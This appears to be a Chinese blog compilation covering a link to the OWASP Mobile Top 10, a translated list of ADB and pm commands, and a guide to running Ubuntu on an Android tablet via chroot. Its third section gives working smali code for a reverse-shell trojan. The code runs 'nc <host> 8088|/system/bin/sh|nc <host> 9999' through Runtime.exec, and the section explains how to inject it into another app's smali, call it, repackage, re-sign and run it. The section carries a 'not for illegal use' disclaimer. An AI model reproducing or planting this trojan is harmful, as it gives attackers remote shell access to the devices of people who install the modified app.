Owasp移动安全漏洞Top 10

项目地址: https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Top_Ten_Mobile_Risks

OWASP MOBILE TOP 10

安卓ADB命令说明的中文翻译(部分)

ADB基本命令

开启ADB Server
adb start-server
关闭ADB Server
adb kill-server
显示设备
Adb devices
显示adb版本
Adb version
显示帮助信息
Adb help
打印日志
Adb logcat
安装应用
Adb install <path-to-apk>
从设备上拷贝文件
Adb pull <remote> <local>
端口转发,将本地的某个端口映射到设备的某个端口
Adb forward <local> <remote>
注:端口号写法:tcp:80,local:<UNIX domain socket name>
PPP OVER USB
Adb ppp <tty>
注:dev:/dev/omap_csmi_tty1
获取串口名
Adb get-serialno
获取设备状态
Adb get-state
等待设备就绪后执行命令
Adb wait-for-device
例如: adb wait-for-device instal <app>.apk adb wait-for-device shell getprop
获取设备shell
Adb shell
直接执行一个shell命令
Adb shell [shellcommand]

PM(package manager tool)软件管理工具

基本格式:Adb pm <command>
例如:Adb shell pm uninstall com.example.MyApp
显示应用列表
Adb shell pm list packages [options] <FILTER>
-f 查看关联文件
-d 只显示禁用的包
-e 只显示启用的包
-s 只显示应用包
-3 只显示第三方包
-I 查看各个包的installer
-u 也显示已经卸载掉包
–user <USER_ID>: 获取用户空间【The user space to query】
显示所有permission-groups
Adb shell pm list permission-groups
显示所有已经知道的权限
Adb shell pm list permissions
-f :显示所有信息
-s:简单的总结信息
-d:危险的权限
-u:仅列出用户可见的权限

向安卓APK smali源码中植入木马反弹SHELL的测试代码【请勿用于非法目的,切记!】

在安卓应用程序中植入木马已经不是什么新鲜事情,下面给出一个demo 反弹shell的一个smali源码,可以直接插入到目标应用的smali源码中,其中第一部分为函数体。注意修改其中的.line 行号。建议插入到一个smali文件的末尾,这样行号只要顺着原smali文件的行号增大即可。
然后使用第二部分的源码进行调用。

# virtual methods
.method public getshell()V
    .registers 8

    .prologue
    .line 28
    invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;

    move-result-object v1

    .line 31
    .local v1, rt:Ljava/lang/Runtime;
    :try_start_4
    sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;

    const-string v3, "NC IS OK!!!!"

    invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V

    .line 34
    sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;

    invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;

    move-result-object v3

    const/4 v4, 0x3

    new-array v4, v4, [Ljava/lang/String;

    const/4 v5, 0x0

    const-string v6, "/system/bin/sh"

    aput-object v6, v4, v5

    const/4 v5, 0x1

    const-string v6, "-c"

    aput-object v6, v4, v5

    const/4 v5, 0x2

    const-string v6, "nc 192.168.0.1 8088|/system/bin/sh|nc 192.168.0.1 9999"

    aput-object v6, v4, v5

    invoke-virtual {v3, v4}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;

    move-result-object v3

    invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V
    :try_end_2a
    .catch Ljava/io/IOException; {:try_start_4 .. :try_end_2a} :catch_2b

    .line 41
    :goto_2a
    return-void

    .line 37
    :catch_2b
    move-exception v0

    .line 39
    .local v0, e:Ljava/io/IOException;
    invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V

    goto :goto_2a
.end method

此处为调用代码,注入插入到一个smali源码程序后就要修改下面的Lcom/example/test/MainActivity为响应的包名和类名,可以参考当前被修改的smali文件上下文进行修改,修改成功后保存并重新打包签名,然后在手机上运行即可。

invoke-virtual {p0}, Lcom/example/test/MainActivity;->getshell()V

这个程序会在控制台logcat显示NC IS OK!!的信息方便调试。注意设备需要有装过NC,不过这里有个悖论诶,没有root的设备很少有自带NC的,而root后的设备有很多不装busybox的,也没有NC。所以呢。。具体可用价值,大家自己衡量吧~~

 

在安卓手机或平板设备上运行Linux系统

最近入了一台平板电脑,就是普通配置,1G DDR3 Cotex A9 双核  GPU 4核,当然这个只是为了在这台设备上运行Linux操作系统的准备工作。想要在安卓设备上运行一个完整的linux操作系统其实不是非常的困难,因为安卓本身就是一个精简版的linux系统,所以能够运行安卓系统的硬件是有这种能力运行linux系统的,如果再底层一些,其实只要能够有适合该硬件的指令系统的操作系统都是可以在该硬件上运行的。

前人已经为我们做了许多的工作,所以我们如果不是非要搞硬件开发深入到硬件底层去搞研究而只是使用安卓设备上运行的linux操作系统的话,完全可以直接借鉴前人的成果。

首先,关于linux,我们需要知道两个知识点,一个在linux系统下,我们可以将一个文件挂载为一个分区,也就是说如果我有一个磁盘镜像文件,我可以直接挂载为一个linux的分区;这一点与windows的虚拟光驱有点类似,但是在linux下,不仅是光盘镜像文件,所有的镜像文件都可以挂载为一个linux的分区;第二个知识点就是chroot,可能看到这个你就明白了本文讲的方法是如何从安卓设备运行linux系统的,如果还不明白的话,请继续往下看。chroot 就是Change Root,也就是改变程序执行时所参考的根目录位置。有了这两个知识就简单了。

方法:首先启动安卓系统,然后将linux的系统镜像文件挂载为安卓系统的一个分区(所以设备必须支持Loop设备),然后通过chroot命令切换程序执行时所参考的根目录即可。这样我们就可以使用系统镜像文件里的操作系统了。

需要用到的几个软件:BusyBox Pro,Complete Linux Installer(内含终端模拟器 VNC安卓客户端和Linux镜像下载链接),适合于Arm的Ubuntu镜像。这几个软件都可以从Google Play里下载到,其中BusyBox Pro是收费应用,网上应该也有免费的下载,可以搜一下。另外Complete Linux Installer也带有BusyBox如果不想下载那个收费的,用这里带的或许也可以,但是可能会报告一个错误。

软件安卓好之后,将Ubuntu镜像放到SD卡里,最好是Class 10的高速卡,不然可能会稍微卡一点,但是不会非常卡,因为大多数的操作还是依赖于安卓系统构建的系统的了,这跟直接将系统镜像写入SD卡并从SD卡启动不同。这个镜像文件需要放到SD卡的一个文件夹下,注意一定不能使中文。然后打开Complete Linux Installer,里面有一个启动操作系统,右上角会有一个菜单编辑,名称任意,路径当然就要选择我们的镜像所致的路径了,保存并返回。此时点击启动即可启动linux系统。此时会启动终端模拟器,提示几个问题,如果是第一次启动会让设置密码,设置好密码之后,再依次输入y,最好设置分辨率,y,即可。如果启动失败,可以多试几次即可。

之后可以打开VNC客户端,连接127.0.0.1:5900输入刚才设置的用户名密码即可连接登陆。如果显示被拒绝连接,可以检查一下端口号是否正确。检查的方法是到终端模拟器执行 netstat -tlnp 看一下vncserver前面对应的端口号码是多少,再到VNC客户端改为相应的端口号即可。